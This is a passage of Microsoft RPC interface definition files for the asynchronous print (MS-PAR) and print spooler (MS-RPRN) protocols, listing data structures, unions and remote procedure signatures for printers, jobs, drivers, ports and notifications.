[case(2)]
DRIVER_INFO_2* Level2;
[case(3)]
RPC_DRIVER_INFO_3* Level3;
[case(4)]
RPC_DRIVER_INFO_4* Level4;
[case(6)]
RPC_DRIVER_INFO_6* Level6;
[case(8)]
RPC_DRIVER_INFO_8* Level8;
} DriverInfo;
} DRIVER_CONTAINER;
typedef struct _FORM_CONTAINER {
DWORD Level;
[switch_is(Level)] union {
[case(1)]
FORM_INFO_1* pFormInfo1;
[case(2)]
RPC_FORM_INFO_2* pFormInfo2;
} FormInfo;
} FORM_CONTAINER;
typedef struct _JOB_CONTAINER {
DWORD Level;
[switch_is(Level)] union {
[case(1)]
JOB_INFO_1* Level1;
[case(2)]
JOB_INFO_2* Level2;
[case(3)]
JOB_INFO_3* Level3;
[case(4)]
JOB_INFO_4* Level4;
} JobInfo;
} JOB_CONTAINER;
typedef struct _MONITOR_CONTAINER {
DWORD Level;
[switch_is(Level)] union {
[case(1)]
MONITOR_INFO_1* pMonitorInfo1;
[case(2)]
MONITOR_INFO_2* pMonitorInfo2;
} MonitorInfo;
} MONITOR_CONTAINER;
typedef struct _PORT_CONTAINER {
DWORD Level;
[switch_is(0x00FFFFFF & Level)]
union {
[case(1)]
PORT_INFO_1* pPortInfo1;
[case(2)]
PORT_INFO_2* pPortInfo2;
[case(3)]
PORT_INFO_3* pPortInfo3;
[case(0x00FFFFFF)]
PORT_INFO_FF* pPortInfoFF;
} PortInfo;
} PORT_CONTAINER;
typedef struct _PORT_VAR_CONTAINER {
DWORD cbMonitorData;
[size_is(cbMonitorData), unique, disable_consistency_check]
BYTE* pMonitorData;
} PORT_VAR_CONTAINER;
typedef struct _PRINTER_CONTAINER {
DWORD Level;
[switch_is(Level)] union {
[case(0)]
PRINTER_INFO_STRESS* pPrinterInfoStress;
[case(1)]
PRINTER_INFO_1* pPrinterInfo1;
[case(2)]
PRINTER_INFO_2* pPrinterInfo2;
[case(3)]
PRINTER_INFO_3* pPrinterInfo3;
[case(4)]
PRINTER_INFO_4* pPrinterInfo4;
[case(5)]
PRINTER_INFO_5* pPrinterInfo5;
[case(6)]
PRINTER_INFO_6* pPrinterInfo6;
[case(7)]
PRINTER_INFO_7* pPrinterInfo7;
[case(8)]
PRINTER_INFO_8* pPrinterInfo8;
[case(9)]
PRINTER_INFO_9* pPrinterInfo9;
} PrinterInfo;
} PRINTER_CONTAINER;
typedef struct _RPC_BINARY_CONTAINER {
DWORD cbBuf;
[size_is(cbBuf), unique] BYTE* pszString;
} RPC_BINARY_CONTAINER;
typedef struct _RPC_BIDI_DATA {
DWORD dwBidiType;
[switch_is(dwBidiType)] union {
[case(BIDI_NULL, BIDI_BOOL)]
int bData;
[case(BIDI_INT)]
long iData;
[case(BIDI_STRING, BIDI_TEXT, BIDI_ENUM)]
[string, unique] wchar_t* sData;
[case(BIDI_FLOAT)]
float fData;
[case(BIDI_BLOB)]
RPC_BINARY_CONTAINER biData;
} u;
} RPC_BIDI_DATA;
typedef struct _RPC_BIDI_REQUEST_DATA {
DWORD dwReqNumber;
[string, unique] wchar_t* pSchema;
RPC_BIDI_DATA data;
} RPC_BIDI_REQUEST_DATA;
typedef struct _RPC_BIDI_RESPONSE_DATA {
DWORD dwResult;
DWORD dwReqNumber;
[string, unique] wchar_t* pSchema;
RPC_BIDI_DATA data;
} RPC_BIDI_RESPONSE_DATA;
typedef struct _RPC_BIDI_REQUEST_CONTAINER {
DWORD Version;
DWORD Flags;
DWORD Count;
[size_is(Count), unique] RPC_BIDI_REQUEST_DATA aData[];
} RPC_BIDI_REQUEST_CONTAINER;
typedef struct _RPC_BIDI_RESPONSE_CONTAINER {
DWORD Version;
DWORD Flags;
DWORD Count;
[size_is(Count), unique] RPC_BIDI_RESPONSE_DATA aData[];
} RPC_BIDI_RESPONSE_CONTAINER;
typedef struct SECURITY_CONTAINER {
DWORD cbBuf;
[size_is(cbBuf), unique] BYTE* pSecurity;
} SECURITY_CONTAINER;
typedef struct _SPLCLIENT_CONTAINER {
DWORD Level;
[switch_is(Level)] union {
[case(1)]
SPLCLIENT_INFO_1* pClientInfo1;
[case(2)]
SPLCLIENT_INFO_2* pNotUsed;
[case(3)]
SPLCLIENT_INFO_3* pClientInfo3;
} ClientInfo;
} SPLCLIENT_CONTAINER;
typedef struct _STRING_CONTAINER {
DWORD cbBuf;
[size_is(cbBuf / 2), unique] WCHAR* pszString;
} STRING_CONTAINER;
typedef struct _SYSTEMTIME_CONTAINER {
DWORD cbBuf;
SYSTEMTIME* pSystemTime;
} SYSTEMTIME_CONTAINER;
typedef struct _RPC_V2_NOTIFY_OPTIONS_TYPE {
unsigned short Type;
unsigned short Reserved0;
DWORD Reserved1;
DWORD Reserved2;
DWORD Count;
[size_is(Count), unique] unsigned short* pFields;
} RPC_V2_NOTIFY_OPTIONS_TYPE;
typedef struct _RPC_V2_NOTIFY_OPTIONS {
DWORD Version;
DWORD Reserved;
DWORD Count;
[size_is(Count), unique] RPC_V2_NOTIFY_OPTIONS_TYPE* pTypes;
} RPC_V2_NOTIFY_OPTIONS;
typedef
[switch_type (DWORD)]
union _RPC_V2_NOTIFY_INFO_DATA_DATA {
[case(TABLE_STRING)]
STRING_CONTAINER String;
[case(TABLE_DWORD)]
DWORD dwData[2];
[case(TABLE_TIME)]
SYSTEMTIME_CONTAINER SystemTime;
[case(TABLE_DEVMODE)]
DEVMODE_CONTAINER DevMode;
[case(TABLE_SECURITYDESCRIPTOR)]
SECURITY_CONTAINER SecurityDescriptor;
} RPC_V2_NOTIFY_INFO_DATA_DATA;
typedef struct _RPC_V2_NOTIFY_INFO_DATA {
unsigned short Type;
unsigned short Field;
DWORD Reserved;
DWORD Id;
[switch_is(Reserved & 0xffff)]
RPC_V2_NOTIFY_INFO_DATA_DATA Data;
} RPC_V2_NOTIFY_INFO_DATA;
typedef struct _RPC_V2_NOTIFY_INFO {
DWORD Version;
DWORD Flags;
DWORD Count;
[size_is(Count), unique] RPC_V2_NOTIFY_INFO_DATA aData[];
} RPC_V2_NOTIFY_INFO;
typedef [switch_type(DWORD)] union _RPC_V2_UREPLY_PRINTER {
[case (0)]
RPC_V2_NOTIFY_INFO* pInfo;
} RPC_V2_UREPLY_PRINTER;
typedef struct {
DWORD Status;
[string] wchar_t* pDocumentName;
[string] wchar_t* pUserName;
[string] wchar_t* pMachineName;
[string] wchar_t* pPrinterName;
[string] wchar_t* pPortName;
LONGLONG Size;
DWORD TotalPages;
} RPC_BranchOfficeJobDataPrinted;
typedef struct {
LONGLONG Size;
DWORD ICMMethod;
short Color;
short PrintQuality;
short YResolution;
short Copies;
short TTOption;
} RPC_BranchOfficeJobDataRendered;
typedef struct {
DWORD LastError;
[string] wchar_t* pDocumentName;
[string] wchar_t* pUserName;
[string] wchar_t* pPrinterName;
[string] wchar_t* pDataType;
LONGLONG TotalSize;
LONGLONG PrintedSize;
DWORD TotalPages;
DWORD PrintedPages;
[string] wchar_t* pMachineName;
[string] wchar_t* pJobError;
[string] wchar_t* pErrorDescription;
} RPC_BranchOfficeJobDataError;
typedef struct {
[string] wchar_t* pDocumentName;
[string] wchar_t* pPrinterName;
[string] wchar_t* pExtraErrorInfo;
} RPC_BranchOfficeJobDataPipelineFailed;
typedef struct {
[string] wchar_t* pMachineName;
} RPC_BranchOfficeLogOfflineFileFull;
typedef struct {
EBranchOfficeJobEventType eEventType;
DWORD JobId;
[switch_type(EBranchOfficeJobEventType), switch_is(eEventType)]
union {
[case(kLogJobPrinted)]
RPC_BranchOfficeJobDataPrinted LogJobPrinted;
[case(kLogJobRendered)]
RPC_BranchOfficeJobDataRendered LogJobRendered;
[case(kLogJobError)]
RPC_BranchOfficeJobDataError LogJobError;
[case(kLogJobPipelineError)]
RPC_BranchOfficeJobDataPipelineFailed LogPipelineFailed;
[case(kLogOfflineFileFull)]
RPC_BranchOfficeLogOfflineFileFull LogOfflineFileFull;
} JobInfo;
} RPC_BranchOfficeJobData;
typedef struct {
DWORD cJobDataEntries;
[size_is(cJobDataEntries), unique] RPC_BranchOfficeJobData JobData[];
} RPC_BranchOfficeJobDataContainer;
// [MS-PAR] enumerations
typedef enum {
kPropertyTypeString = 1,
kPropertyTypeInt32,
kPropertyTypeInt64,
kPropertyTypeByte,
kPropertyTypeTime,
kPropertyTypeDevMode,
kPropertyTypeSD,
kPropertyTypeNotificationReply,
kPropertyTypeNotificationOptions,
} EPrintPropertyType;
// [MS-PAR] data types
typedef [context_handle] void* RMTNTFY_HANDLE;
// [MS-PAR] structures
typedef struct _NOTIFY_REPLY_CONTAINER {
RPC_V2_NOTIFY_INFO* pInfo;
} NOTIFY_REPLY_CONTAINER;
typedef struct _NOTIFY_OPTIONS_CONTAINER {
RPC_V2_NOTIFY_OPTIONS* pOptions;
} NOTIFY_OPTIONS_CONTAINER;
typedef struct {
EPrintPropertyType ePropertyType;
[switch_type(EPrintPropertyType), switch_is(ePropertyType)]
union {
[case(kPropertyTypeString)]
[string] wchar_t* propertyString;
[case(kPropertyTypeInt32)]
long propertyInt32;
[case(kPropertyTypeInt64)]
__int64 propertyInt64;
[case(kPropertyTypeByte)]
BYTE propertyByte;
[case(kPropertyTypeTime)]
SYSTEMTIME_CONTAINER propertyTimeContainer;
[case(kPropertyTypeDevMode)]
DEVMODE_CONTAINER propertyDevModeContainer;
[case(kPropertyTypeSD)]
SECURITY_CONTAINER propertySDContainer;
[case(kPropertyTypeNotificationReply)]
NOTIFY_REPLY_CONTAINER propertyReplyContainer;
[case(kPropertyTypeNotificationOptions)]
NOTIFY_OPTIONS_CONTAINER propertyOptionsContainer;
} value;
} RpcPrintPropertyValue;
typedef struct {
[string] wchar_t* propertyName;
RpcPrintPropertyValue propertyValue;
} RpcPrintNamedProperty;
typedef struct {
[range(0, 50)]
unsigned long numberOfProperties;
[size_is(numberOfProperties), unique]
RpcPrintNamedProperty* propertiesCollection;
}RpcPrintPropertiesCollection;
typedef struct _CORE_PRINTER_DRIVER {
GUID CoreDriverGUID;
FILETIME ftDriverDate;
DWORDLONG dwlDriverVersion;
wchar_t szPackageID[260];
} CORE_PRINTER_DRIVER;
typedef struct {
RPC_EPrintPropertyType ePropertyType;
[switch_is(ePropertyType)] union {
[case(kRpcPropertyTypeString)] [string] wchar_t* propertyString;
[case(kRpcPropertyTypeInt32)] LONG propertyInt32;
[case(kRpcPropertyTypeInt64)] LONGLONG propertyInt64;
[case(kRpcPropertyTypeByte)] BYTE propertyByte;
[case(kRpcPropertyTypeBuffer)]
struct {
DWORD cbBuf;
[size_is(cbBuf)] BYTE* pBuf;
} propertyBlob;
} value;
} RPC_PrintPropertyValue;
typedef struct {
[string] wchar_t* propertyName;
RPC_PrintPropertyValue propertyValue;
} RPC_PrintNamedProperty;
DWORD
RpcAsyncOpenPrinter(
[in] handle_t hRemoteBinding,
[in, string, unique] wchar_t* pPrinterName,
[out] PRINTER_HANDLE* pHandle,
[in, string, unique] wchar_t* pDatatype,
[in] DEVMODE_CONTAINER* pDevModeContainer,
[in] DWORD AccessRequired,
[in] SPLCLIENT_CONTAINER* pClientInfo
);
DWORD
RpcAsyncAddPrinter(
[in] handle_t hRemoteBinding,
[in, string, unique] wchar_t* pName,
[in] PRINTER_CONTAINER* pPrinterContainer,
[in] DEVMODE_CONTAINER* pDevModeContainer,
[in] SECURITY_CONTAINER* pSecurityContainer,
[in] SPLCLIENT_CONTAINER* pClientInfo,
[out] PRINTER_HANDLE* pHandle
);
DWORD
RpcAsyncSetJob(
[in] PRINTER_HANDLE hPrinter,
[in] DWORD JobId,
[in, unique] JOB_CONTAINER* pJobContainer,
[in] DWORD Command
);
DWORD
RpcAsyncGetJob(
[in] PRINTER_HANDLE hPrinter,
[in] DWORD JobId,
[in] DWORD Level,
[in, out, unique, size_is(cbBuf)] unsigned char* pJob,
[in] DWORD cbBuf,
[out] DWORD* pcbNeeded
);
DWORD
RpcAsyncEnumJobs(
[in] PRINTER_HANDLE hPrinter,
[in] DWORD FirstJob,
[in] DWORD NoJobs,
[in] DWORD Level,
[in, out, unique, size_is(cbBuf)] unsigned char* pJob,
[in] DWORD cbBuf,
[out] DWORD* pcbNeeded,
[out] DWORD* pcReturned
);
DWORD
RpcAsyncAddJob(
[in] PRINTER_HANDLE hPrinter,
[in] DWORD Level,
[in, out, unique, size_is(cbBuf)] unsigned char* pAddJob,
[in] DWORD cbBuf,
[out] DWORD* pcbNeeded
);
DWORD
RpcAsyncScheduleJob(
[in] PRINTER_HANDLE hPrinter,
[in] DWORD JobId
);
DWORD
RpcAsyncDeletePrinter(
[in] PRINTER_HANDLE hPrinter
);
DWORD
RpcAsyncSetPrinter(
[in] PRINTER_HANDLE hPrinter,
[in] PRINTER_CONTAINER* pPrinterContainer,
[in] DEVMODE_CONTAINER* pDevModeContainer,
[in] SECURITY_CONTAINER* pSecurityContainer,
[in] DWORD Command
);
DWORD
RpcAsyncGetPrinter(
[in] PRINTER_HANDLE hPrinter,
[in] DWORD Level,
[in, out, unique, size_is(cbBuf)] unsigned char* pPrinter,
[in] DWORD cbBuf,
[out] DWORD* pcbNeeded
);
DWORD
RpcAsyncStartDocPrinter(
[in] PRINTER_HANDLE hPrinter,
[in] DOC_INFO_CONTAINER* pDocInfoContainer,
[out] DWORD* pJobId
);
DWORD
RpcAsyncStartPagePrinter(
[in] PRINTER_HANDLE hPrinter
);
DWORD
RpcAsyncWritePrinter(
[in] PRINTER_HANDLE hPrinter,
[in, size_is(cbBuf)] unsigned char* pBuf,
[in] DWORD cbBuf,
[out] DWORD* pcWritten
);
DWORD
RpcAsyncEndPagePrinter(
[in] PRINTER_HANDLE hPrinter
);
DWORD
RpcAsyncEndDocPrinter(
[in] PRINTER_HANDLE hPrinter
);
DWORD
RpcAsyncAbortPrinter(
[in] PRINTER_HANDLE hPrinter
);
DWORD
RpcAsyncGetPrinterData(
[in] PRINTER_HANDLE hPrinter,
[in, string] wchar_t* pValueName,
[out] DWORD* pType,
[out, size_is(nSize)] unsigned char* pData,
[in] DWORD nSize,
[out] DWORD* pcbNeeded
);
DWORD
RpcAsyncGetPrinterDataEx(
[in] PRINTER_HANDLE hPrinter,
[in, string] const wchar_t* pKeyName,
[in, string] const wchar_t* pValueName,
[out] DWORD* pType,
[out, size_is(nSize)] unsigned char* pData,
[in] DWORD nSize,
[out] DWORD* pcbNeeded
);
DWORD
RpcAsyncSetPrinterData(
[in] PRINTER_HANDLE hPrinter,
[in, string] wchar_t* pValueName,
[in] DWORD Type,
[in, size_is(cbData)] unsigned char* pData,
[in] DWORD cbData
);
DWORD
RpcAsyncSetPrinterDataEx(
[in] PRINTER_HANDLE hPrinter,
[in, string] const wchar_t* pKeyName,
[in, string] const wchar_t* pValueName,
[in] DWORD Type,
[in, size_is(cbData)] unsigned char* pData,
[in] DWORD cbData
);
DWORD
RpcAsyncClosePrinter(
[in, out] PRINTER_HANDLE* phPrinter
);
DWORD
RpcAsyncAddForm(
[in] PRINTER_HANDLE hPrinter,
[in] FORM_CONTAINER* pFormInfoContainer
);
DWORD
RpcAsyncDeleteForm(
[in] PRINTER_HANDLE hPrinter,
[in, string] wchar_t* pFormName
);
DWORD
RpcAsyncGetForm(
[in] PRINTER_HANDLE hPrinter,
[in, string] wchar_t* pFormName,
[in] DWORD Level,
[in, out, unique, size_is(cbBuf)] unsigned char* pForm,
[in] DWORD cbBuf,
[out] DWORD* pcbNeeded
);
DWORD
RpcAsyncSetForm(
[in] PRINTER_HANDLE hPrinter,
[in, string] wchar_t* pFormName,
[in] FORM_CONTAINER* pFormInfoContainer
);
DWORD
RpcAsyncEnumForms(
[in] PRINTER_HANDLE hPrinter,
[in] DWORD Level,
[in, out, unique, size_is(cbBuf)] unsigned char* pForm,
[in] DWORD cbBuf,
[out] DWORD* pcbNeeded,
[out] DWORD* pcReturned
);
DWORD
RpcAsyncGetPrinterDriver(
[in] PRINTER_HANDLE hPrinter,
[in, unique, string] wchar_t* pEnvironment,
[in] DWORD Level,
[in, out, unique, size_is(cbBuf)] unsigned char* pDriver,
[in] DWORD cbBuf,
[out] DWORD* pcbNeeded,
[in] DWORD dwClientMajorVersion,
[in] DWORD dwClientMinorVersion,
[out] DWORD* pdwServerMaxVersion,
[out] DWORD* pdwServerMinVersion
);
DWORD
RpcAsyncEnumPrinterData(
[in] PRINTER_HANDLE hPrinter,
[in] DWORD dwIndex,
[out, size_is(cbValueName / sizeof(wchar_t))] wchar_t* pValueName,
[in] DWORD cbValueName,
[out] DWORD* pcbValueName,
[out] DWORD* pType,
[out, size_is(cbData)] unsigned char* pData,
[in] DWORD cbData,
[out] DWORD* pcbData
);
DWORD
RpcAsyncEnumPrinterDataEx(
[in] PRINTER_HANDLE hPrinter,
[in, string] const wchar_t* pKeyName,
[out, size_is(cbEnumValues)] unsigned char* pEnumValues,
[in] DWORD cbEnumValues,
[out] DWORD* pcbEnumValues,
[out] DWORD* pnEnumValues
);
DWORD
RpcAsyncEnumPrinterKey(
[in] PRINTER_HANDLE hPrinter,
[in, string] const wchar_t* pKeyName,
[out, size_is(cbSubkey / sizeof(wchar_t))] wchar_t* pSubkey,
[in] DWORD cbSubkey,
[out] DWORD* pcbSubkey
);
DWORD
RpcAsyncDeletePrinterData(
[in] PRINTER_HANDLE hPrinter,
[in, string] wchar_t* pValueName
);
DWORD
RpcAsyncDeletePrinterDataEx(
[in] PRINTER_HANDLE hPrinter,
[in, string] const wchar_t* pKeyName,
[in, string] const wchar_t* pValueName
);
DWORD
RpcAsyncDeletePrinterKey(
[in] PRINTER_HANDLE hPrinter,
[in, string] const wchar_t* pKeyName
);
DWORD
RpcAsyncXcvData(
[in] PRINTER_HANDLE hXcv,
[in, string] const wchar_t* pszDataName,
[in, size_is(cbInputData)] unsigned char* pInputData,
[in] DWORD cbInputData,
[out, size_is(cbOutputData)] unsigned char* pOutputData,
[in] DWORD cbOutputData,
[out] DWORD* pcbOutputNeeded,
[in, out] DWORD* pdwStatus
);
DWORD
RpcAsyncSendRecvBidiData(
[in] PRINTER_HANDLE hPrinter,
[in, string, unique] const wchar_t* pAction,
[in] RPC_BIDI_REQUEST_CONTAINER* pReqData,
[out] RPC_BIDI_RESPONSE_CONTAINER** ppRespData);
DWORD
RpcAsyncCreatePrinterIC(
[in] PRINTER_HANDLE hPrinter,
[out] GDI_HANDLE* pHandle,
[in] DEVMODE_CONTAINER* pDevModeContainer
);
DWORD
RpcAsyncPlayGdiScriptOnPrinterIC(
[in] GDI_HANDLE hPrinterIC,
[in, size_is(cIn)] unsigned char* pIn,
[in] DWORD cIn,
[out, size_is(cOut)] unsigned char* pOut,
[in] DWORD cOut,
[in] DWORD ul
);
DWORD
RpcAsyncDeletePrinterIC(
[in, out] GDI_HANDLE* phPrinterIC
);
DWORD
RpcAsyncEnumPrinters(
[in] handle_t hRemoteBinding,
[in] DWORD Flags,
[in, string, unique] wchar_t* Name,
[in] DWORD Level,
[in, out, unique, size_is(cbBuf)] unsigned char* pPrinterEnum,
[in] DWORD cbBuf,
[out] DWORD* pcbNeeded,
[out] DWORD* pcReturned
);
DWORD
RpcAsyncAddPrinterDriver(
[in] handle_t hRemoteBinding,
[in, string, unique] wchar_t* pName,
[in] DRIVER_CONTAINER* pDriverContainer,
[in] DWORD dwFileCopyFlags
);
DWORD
RpcAsyncEnumPrinterDrivers(
[in] handle_t hRemoteBinding,
[in, string, unique] wchar_t* pName,
[in, unique, string] wchar_t* pEnvironment,
[in] DWORD Level,
[in, out, unique, size_is(cbBuf)] unsigned char* pDrivers,
[in] DWORD cbBuf,
[out] DWORD* pcbNeeded,
[out] DWORD* pcReturned
);
DWORD
RpcAsyncGetPrinterDriverDirectory(
[in] handle_t hRemoteBinding,
[in, string, unique] wchar_t* pName,
[in, unique, string] wchar_t* pEnvironment,
[in] DWORD Level,
[in, out, unique, size_is(cbBuf)] unsigned char* pDriverDirectory,
[in] DWORD cbBuf,
[out] DWORD* pcbNeeded
);
DWORD
RpcAsyncDeletePrinterDriver(
[in] handle_t hRemoteBinding,
[in, string, unique] wchar_t* pName,
[in, string] wchar_t* pEnvironment,
[in, string] wchar_t* pDriverName
);
DWORD
RpcAsyncDeletePrinterDriverEx(
[in] handle_t hRemoteBinding,
[in, string, unique] wchar_t* pName,
[in, string] wchar_t* pEnvironment,
[in, string] wchar_t* pDriverName,
[in] DWORD dwDeleteFlag,
[in] DWORD dwVersionNum
);
DWORD
RpcAsyncAddPrintProcessor(
[in] handle_t hRemoteBinding,
[in, string, unique] wchar_t* pName,
[in, string] wchar_t* pEnvironment,
[in, string] wchar_t* pPathName,
[in, string] wchar_t* pPrintProcessorName
);
DWORD
RpcAsyncEnumPrintProcessors(
[in] handle_t hRemoteBinding,
[in, string, unique] wchar_t* pName,
[in, unique, string] wchar_t* pEnvironment,
[in] DWORD Level,
[in, out, unique, size_is(cbBuf)] unsigned char*
pPrintProcessorInfo,
[in] DWORD cbBuf,
[out] DWORD* pcbNeeded,
[out] DWORD* pcReturned
);
DWORD
RpcAsyncGetPrintProcessorDirectory(
[in] handle_t hRemoteBinding,
[in, string, unique] wchar_t* pName,
[in, unique, string] wchar_t* pEnvironment,
[in] DWORD Level,
[in, out, unique, size_is(cbBuf)] unsigned char*
pPrintProcessorDirectory,
[in] DWORD cbBuf,
[out] DWORD* pcbNeeded
);
DWORD
RpcAsyncEnumPorts(
[in] handle_t hRemoteBinding,
[in, string, unique] wchar_t* pName,
[in] DWORD Level,
[in, out, unique, size_is(cbBuf)] unsigned char* pPort,
[in] DWORD cbBuf,
[out] DWORD* pcbNeeded,
[out] DWORD* pcReturned
);
DWORD
RpcAsyncEnumMonitors(
[in] handle_t hRemoteBinding,
[in, string, unique] wchar_t* pName,
[in] DWORD Level,
[in, out, unique, size_is(cbBuf)] unsigned char* pMonitor,
[in] DWORD cbBuf,
[out] DWORD* pcbNeeded,
[out] DWORD* pcReturned
);
DWORD
RpcAsyncAddPort(
[in] handle_t hRemoteBinding,
[in, string, unique] wchar_t* pName,
[in] PORT_CONTAINER* pPortContainer,
[in] PORT_VAR_CONTAINER* pPortVarContainer,
[in, string] wchar_t* pMonitorName
);
DWORD
RpcAsyncSetPort(
[in] handle_t hRemoteBinding,
[in, string, unique] wchar_t* pName,
[in, string, unique] wchar_t* pPortName,
[in] PORT_CONTAINER* pPortContainer
);
DWORD
RpcAsyncAddMonitor(
[in] handle_t hRemoteBinding,
[in, string, unique] wchar_t* Name,
[in] MONITOR_CONTAINER* pMonitorContainer
);
DWORD
RpcAsyncDeleteMonitor(
[in] handle_t hRemoteBinding,
[in, string, unique] wchar_t* Name,
[in, unique, string] wchar_t* pEnvironment,
[in, string] wchar_t* pMonitorName
);
DWORD
RpcAsyncDeletePrintProcessor(
[in] handle_t hRemoteBinding,
[in, string, unique] wchar_t* Name,
[in, unique, string] wchar_t* pEnvironment,
[in, string] wchar_t* pPrintProcessorName
);
DWORD
RpcAsyncEnumPrintProcessorDatatypes(
[in] handle_t hRemoteBinding,
[in, string, unique] wchar_t* pName,
[in, unique, string] wchar_t* pPrintProcessorName,
[in] DWORD Level,
[in, out, unique, size_is(cbBuf)] unsigned char* pDatatypes,
[in] DWORD cbBuf,
[out] DWORD* pcbNeeded,
[out] DWORD* pcReturned
);
DWORD
RpcAsyncAddPerMachineConnection(
[in] handle_t hRemoteBinding,
[in, string, unique] wchar_t* pServer,
[in, string] const wchar_t* pPrinterName,
[in, string] const wchar_t* pPrintServer,
[in, string] const wchar_t* pProvider
);
DWORD
RpcAsyncDeletePerMachineConnection(
[in] handle_t hRemoteBinding,
[in, string, unique] wchar_t* pServer,
[in, string] const wchar_t* pPrinterName
);
DWORD
RpcAsyncEnumPerMachineConnections(
[in] handle_t hRemoteBinding,
[in, string, unique] wchar_t* pServer,
[in, out, unique, size_is(cbBuf)] unsigned char* pPrinterEnum,
[in] DWORD cbBuf,
[out] DWORD* pcbNeeded,
[out] DWORD* pcReturned
);
HRESULT
RpcSyncRegisterForRemoteNotifications(
[in] PRINTER_HANDLE hPrinter,
[in] RpcPrintPropertiesCollection* pNotifyFilter,
[out] RMTNTFY_HANDLE* phRpcHandle
);
HRESULT
RpcSyncUnRegisterForRemoteNotifications(
[in, out] RMTNTFY_HANDLE* phRpcHandle
);
HRESULT
RpcSyncRefreshRemoteNotifications(
[in] RMTNTFY_HANDLE hRpcHandle,
[in] RpcPrintPropertiesCollection* pNotifyFilter,
[out] RpcPrintPropertiesCollection** ppNotifyData
);
HRESULT
RpcAsyncGetRemoteNotifications(
[in] RMTNTFY_HANDLE hRpcHandle,
[out] RpcPrintPropertiesCollection** ppNotifyData
);
HRESULT
RpcAsyncInstallPrinterDriverFromPackage(
[in] handle_t hRemoteBinding,
[in, string, unique] const wchar_t* pszServer,
[in, string, unique] const wchar_t* pszInfPath,
[in, string] const wchar_t* pszDriverName,
[in, string] const wchar_t* pszEnvironment,
[in] DWORD dwFlags
);
HRESULT
RpcAsyncUploadPrinterDriverPackage(
[in] handle_t hRemoteBinding,
[in, string, unique] const wchar_t* pszServer,
[in, string] const wchar_t* pszInfPath,
[in, string] const wchar_t* pszEnvironment,
[in] DWORD dwFlags,
[in, out, unique, size_is(*pcchDestInfPath)]
wchar_t* pszDestInfPath,
[in, out] DWORD* pcchDestInfPath
);
HRESULT
RpcAsyncGetCorePrinterDrivers(
[in] handle_t hRemoteBinding,
[in, string, unique] const wchar_t* pszServer,
[in, string] const wchar_t* pszEnvironment,
[in] DWORD cchCoreDrivers,
[in, size_is(cchCoreDrivers)]
const wchar_t* pszzCoreDriverDependencies,
[in] DWORD cCorePrinterDrivers,
[out, size_is(cCorePrinterDrivers)]
CORE_PRINTER_DRIVER* pCorePrinterDrivers
);
HRESULT
RpcAsyncCorePrinterDriverInstalled(
[in] handle_t hRemoteBinding,
[in, string, unique] const wchar_t* pszServer,
[in, string] const wchar_t* pszEnvironment,
[in] GUID CoreDriverGUID,
[in] FILETIME ftDriverDate,
[in] DWORDLONG dwlDriverVersion,
[out] int* pbDriverInstalled
);
HRESULT
RpcAsyncGetPrinterDriverPackagePath(
[in] handle_t hRemoteBinding,
[in, string, unique] const wchar_t* pszServer,
[in, string] const wchar_t* pszEnvironment,
[in, string, unique] const wchar_t* pszLanguage,
[in, string] const wchar_t* pszPackageID,
[in, out, unique, size_is(cchDriverPackageCab)]
wchar_t* pszDriverPackageCab,
[in] DWORD cchDriverPackageCab,
[out] DWORD* pcchRequiredSize
);
HRESULT
RpcAsyncDeletePrinterDriverPackage(
[in] handle_t hRemoteBinding,
[in, string, unique] const wchar_t* pszServer,
[in, string] const wchar_t* pszInfPath,
[in, string] const wchar_t* pszEnvironment
);
DWORD
RpcAsyncReadPrinter(
[in] PRINTER_HANDLE hPrinter,
[out, size_is(cbBuf)] unsigned char* pBuf,
[in] DWORD cbBuf,
[out] DWORD* pcNoBytesRead
);
DWORD
RpcAsyncResetPrinter(
[in] PRINTER_HANDLE hPrinter,
[in, string, unique] wchar_t* pDatatype,
[in] DEVMODE_CONTAINER* pDevModeContainer
);
DWORD
RpcAsyncGetJobNamedPropertyValue(
[in] PRINTER_HANDLE hPrinter,
[in] DWORD JobId,
[in, string] const wchar_t* pszName,
[out] RPC_PrintPropertyValue* pValue
);
DWORD
RpcAsyncSetJobNamedProperty(
[in] PRINTER_HANDLE hPrinter,
[in] DWORD JobId,
[in] RPC_PrintNamedProperty* pProperty
);
DWORD
RpcAsyncDeleteJobNamedProperty(
[in] PRINTER_HANDLE hPrinter,
[in] DWORD JobId,
[in, string] const wchar_t* pszName
);
DWORD
RpcAsyncEnumJobNamedProperties(
[in] PRINTER_HANDLE hPrinter,
[in] DWORD JobId,
[out] DWORD* pcProperties,
[out, size_is(, *pcProperties)] RPC_PrintNamedProperty** ppProperties
);
DWORD
RpcAsyncLogJobInfoForBranchOffice(
[in] PRINTER_HANDLE hPrinter,
[in, ref] RPC_BranchOfficeJobDataContainer* pBranchOfficeJobDataContainer
);
}
================================================
FILE: IDL_FILES/ms-rprn.idl
================================================
[
uuid(12345678-1234-abcd-ef00-0123456789ab),
version(1.0),
]
interface winspool
{
typedef int BOOL, * PBOOL, * LPBOOL;
typedef unsigned char BYTE, * PBYTE, * LPBYTE;
typedef BYTE BOOLEAN, * PBOOLEAN;
typedef wchar_t WCHAR, * PWCHAR;
typedef WCHAR* BSTR;
typedef double DOUBLE;
typedef unsigned long DWORD, * PDWORD, * LPDWORD;
typedef unsigned int DWORD32;
typedef unsigned __int64 DWORD64, * PDWORD64;
typedef unsigned __int64 ULONGLONG;
typedef ULONGLONG DWORDLONG, * PDWORDLONG;
typedef unsigned char UCHAR, * PUCHAR;
typedef void* HANDLE;
typedef DWORD HCALL;
typedef int INT, * LPINT;
typedef signed char INT8;
typedef signed short INT16;
typedef signed int INT32;
typedef signed __int64 INT64;
typedef void* LDAP_UDP_HANDLE;
typedef const wchar_t* LMCSTR;
typedef WCHAR* LMSTR;
typedef long LONG, * PLONG, * LPLONG;
typedef signed __int64 LONGLONG;
typedef LONG HRESULT;
typedef __int3264 LONG_PTR;
typedef unsigned __int3264 ULONG_PTR;
typedef signed int LONG32;
typedef signed __int64 LONG64, * PLONG64;
typedef const void* LPCVOID;
typedef const wchar_t* LPCWSTR;
typedef unsigned int UINT;
typedef unsigned char UINT8;
typedef unsigned short UINT16;
typedef unsigned int UINT32;
typedef unsigned __int64 UINT64;
typedef unsigned long ULONG, * PULONG;
typedef unsigned __int64 QWORD;
typedef void* RPC_BINDING_HANDLE;
typedef UCHAR* STRING;
typedef ULONG_PTR DWORD_PTR;
typedef ULONG_PTR SIZE_T;
typedef unsigned int ULONG32;
typedef unsigned __int64 ULONG64;
typedef unsigned short USHORT;
typedef void * PVOID, * LPVOID;
typedef unsigned short WORD, * PWORD, * LPWORD;
typedef struct _GUID {
